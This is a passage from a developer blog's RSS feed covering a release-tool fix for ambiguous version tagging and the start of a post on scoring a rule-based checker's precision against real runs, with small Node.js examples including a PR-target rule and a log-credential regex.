&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;never released :&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, firstEver.state, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;| blockers:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, firstEver.blockers.length);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;all checks passed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the four blocks as &lt;code&gt;status.mjs&lt;/code&gt;, &lt;code&gt;status2.mjs&lt;/code&gt;, &lt;code&gt;target.mjs&lt;/code&gt; and &lt;code&gt;cut.mjs&lt;/code&gt;,
this one as &lt;code&gt;check.mjs&lt;/code&gt;, and run &lt;code&gt;node check.mjs&lt;/code&gt;. No dependencies; it is Node’s
own assert module. Here is what it printed for me:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;collapsed : {&quot;name&quot;:&quot;widget&quot;,&quot;state&quot;:&quot;untagged-bump-on-main&quot;,&quot;lastTag&quot;:&quot;0.1.0&quot;,&quot;versionOnMain&quot;:&quot;0.2.1&quot;,&quot;versionOnDev&quot;:&quot;0.3.0&quot;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  -&gt; one state string, and nothing in it mentions 0.3.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;with fact : {&quot;state&quot;:&quot;untagged-bump-on-main&quot;,&quot;devAhead&quot;:{&quot;version&quot;:&quot;0.3.0&quot;,&quot;aheadOfMain&quot;:true}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  blocker : dev-ahead-of-main | main carries 0.2.1 but dev carries 0.3.0: cutting here would tag v0.2.1, not v0.3.0.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;unconfirmed cut -&gt; widget: main carries 0.2.1 but dev carries 0.3.0, so which one to release is ambiguous and this refuses to guess. Promote dev to main and re-read status to release 0.3.0, or pass --version 0.2.1 to release exactly what is on main.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cut --version 0.2.1 -&gt; {&quot;ok&quot;:true,&quot;tag&quot;:&quot;v0.2.1&quot;,&quot;targetVersion&quot;:&quot;0.2.1&quot;,&quot;via&quot;:&quot;dispatch-on-main&quot;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cut --version 0.3.0 -&gt; 0.3.0 is on dev but not on main, and a dispatch on main cannot cut it. Promote dev to main first, then re-read status.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;routine dev-ahead: bump-on-dev-unpromoted | blockers: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;never released : untagged-bump-on-main | blockers: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;all checks passed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The assertion doing the most work is &lt;code&gt;calls().length === 0&lt;/code&gt;. It is not checking
that an error was returned; it is checking that the irreversible thing was never
reached. Those are different tests, and only the second one survives someone
later adding an early dispatch above the guard.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Patching only the branch you were standing in leaves the sibling.&lt;/strong&gt; The bug
surfaced on a component with an existing tag, so the obvious fix is to add a
condition to that branch of the &lt;code&gt;if/else&lt;/code&gt; chain. That fix is wrong for a
component with no tags at all, which reaches the same state through the
&lt;code&gt;!lastTag&lt;/code&gt; arm and is just as capable of being mis-tagged. The escape is to ask
which &lt;em&gt;routes&lt;/em&gt; reach the dangerous state, not which one you happened to
reproduce, and to compute the guarding fact outside the chain entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A blocker raised in every state where the fact is true stops being a blocker.&lt;/strong&gt;
&lt;code&gt;devAhead&lt;/code&gt; is set in two states and dangerous in one. Flagging both would put a
permanent warning on a normal condition, and people learn very quickly to scroll
past a warning that is always there. Scope the alarm to the state where the
armed path actually exists, and be willing to leave the fact unflagged elsewhere.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two derivations of one decision will eventually disagree.&lt;/strong&gt; The version being
dispatched and the tag being waited for were computed separately, which is what
allowed a run to prove the existence of a tag it had not actually asked for.
Whenever a function does a thing and then verifies the thing, both halves must
read one variable. If you cannot point at the single expression that decided it,
you have two.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not compare versions as strings.&lt;/strong&gt; &lt;code&gt;cmpSemver&lt;/code&gt; parses to numbers on purpose.
Semantic Versioning &lt;a href=&quot;https://semver.org/&quot;&gt;requires numeric comparison&lt;/a&gt;: “Major,
minor, and patch versions are always compared numerically”, and the spec forbids
leading zeroes for the same reason. Lexicographic order puts &lt;code&gt;0.10.0&lt;/code&gt; below
&lt;code&gt;0.9.0&lt;/code&gt;, and in a status reader that mistake reads as “dev is behind” and quietly
disarms the check you just added.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prove the refusal blocks the side effect, not just the return value.&lt;/strong&gt; A test
asserting &lt;code&gt;ok === false&lt;/code&gt; passes perfectly well against a function that already
dispatched before returning. Give the irreversible call a recorder, and assert
it was never invoked.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://semver.org/&quot;&gt;Semantic Versioning 2.0.0&lt;/a&gt; — precedence is numeric, which is why a version comparator parses instead of string-comparing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://clig.dev/&quot;&gt;Command Line Interface Guidelines&lt;/a&gt; — confirming dangerous actions, and the scriptable &lt;code&gt;--confirm=&amp;quot;name-of-thing&amp;quot;&lt;/code&gt; form&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fsharpforfunandprofit.com/posts/designing-with-types-making-illegal-states-unrepresentable/&quot;&gt;Designing with types: Making illegal states unrepresentable&lt;/a&gt; — modelling states so invalid combinations cannot occur, and the over-collapsing failure on the other side of it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(shipflow): refuse the ambiguous release-cut fast path (0.6.0) (#174) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/249d4fd678f31b7f75277a23191b03245313b53b&quot;&gt;249d4fd&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix: a lockfile that disagrees with its package.json is a lie about what shipped (#163) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/b41c1a25c32e1d5baa53c04f5d3a99051b4f212e&quot;&gt;b41c1a2&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/shipflow/v0.6.0.png" length="30961" type="image/png"/></item><item><title>Measure your checker&apos;s precision on runs it never saw</title><link>https://natejswenson.com/devlog/eval/v0.3.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/eval/v0.3.0/</guid><description>A rule-based checker with a green test suite told me its own repo was violating a rule that repo mandates. Here is how to score a checker against real runs, per severity and per rule, so the number that matters cannot hide inside an average.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release fixed five defects in a grading skill, all of which made its report assert something false. The measurement that found them is the transferable part: instead of arguing about whether the rules were right, the checker was scored against 47 real session transcripts. It came out at 85.7% precision overall and 14% at &lt;code&gt;high&lt;/code&gt; severity, and its worst rule was wrong on all six of its real firings.&lt;/p&gt;
&lt;p&gt;The 48-test suite was green the entire time. It was green because the frozen baseline is pinned to a session the tool had been developed against, and that session’s text happens to contain the exact phrases the rules recognise. If you maintain a linter, a policy checker, or an LLM-output grader, that is the failure mode to go looking for, and you can find it in an afternoon.&lt;/p&gt;
&lt;h2&gt;Why a green suite proves less than it looks&lt;/h2&gt;
&lt;p&gt;The trap is old and well documented in machine learning. Sebastian Raschka’s write-up on &lt;a href=&quot;https://sebastianraschka.com/blog/2016/model-evaluation-selection-part3.html&quot;&gt;model evaluation and selection&lt;/a&gt; puts it directly: reusing a test set introduces bias and produces “overly optimistic estimates of the generalization performance,” because “the test set leaks information.” Every time you tune against it, you fit to it a little more.&lt;/p&gt;
&lt;p&gt;A checker’s fixture is exactly that test set, and it leaks the same way. You write a rule, you run it against your sample, you adjust the pattern until the sample is clean. The sample is now a description of your rule rather than an independent test of it.&lt;/p&gt;
&lt;p&gt;That matters because rule-based tools do not have a great baseline to begin with. A 2025 benchmark of static analysis tools against &lt;a href=&quot;https://arxiv.org/abs/2508.04448&quot;&gt;ten real C# projects containing 63 embedded vulnerabilities&lt;/a&gt; reported F-1 scores of 0.260, 0.386 and 0.546 for the three tools it evaluated. Research on &lt;a href=&quot;https://arxiv.org/abs/2203.09907&quot;&gt;reducing false positives in analytic bug detectors&lt;/a&gt; frames the same problem from the user’s side: these tools “tend to report a significant number of false positives, requiring developers to manually verify each warning,” which is precisely what stops people using them.&lt;/p&gt;
&lt;p&gt;So assume your checker is worse than its fixture says, and go measure how much.&lt;/p&gt;
&lt;h2&gt;Build a checker worth grading&lt;/h2&gt;
&lt;p&gt;A rule-based checker over a log of events. Two rules, two severities, no dependencies.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// checker.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RULES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pr-into-main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    severity: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;high&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    describe: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;a pull request must not target main directly&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // Deliberately naive: it reads the base and ignores the head.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    match&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (event) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      event.kind &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      /gh pr create/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(event.text) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      /--base main/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(event.text),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;secret-in-log&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    severity: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;medium&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    describe: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;never print a credential&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    match&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (event) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      event.kind &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;output&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /(?:token|api[_-]?key)=\S+/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(event.text),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(events) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; findings &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; event &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; events) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rule &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RULES) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (rule.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;match&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(event)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        findings.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ ruleId: rule.id, severity: rule.severity, eventId: event.id });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; findings;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collect real runs, and label them honestly&lt;/h2&gt;
&lt;p&gt;The input is runs the checker was never tuned on. One JSON object per line: the events, plus your verdict on each finding the checker produces.&lt;/p&gt;
&lt;p&gt;Label after you look at the finding, not before. A finding is a true positive only if the thing it names actually happened and the rule genuinely forbids it in that context.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// make-corpus.mjs — stand-in for your real transcripts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;node:fs&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; runs &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;run-1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    events: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;gh pr create --base main --head dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // The team&apos;s own process mandates promoting dev into main.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    verdicts: { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pr-into-main:e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;run-2&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    events: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;gh pr create --base main --head feature/x&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    verdicts: { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pr-into-main:e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;run-3&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    events: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;gh pr create --base main --head dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { id: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;e2&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, kind: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;output&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, text: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GITHUB_TOKEN=ghp_realleakedvalue&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    verdicts: { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pr-into-main:e1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;secret-in-log:e2&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
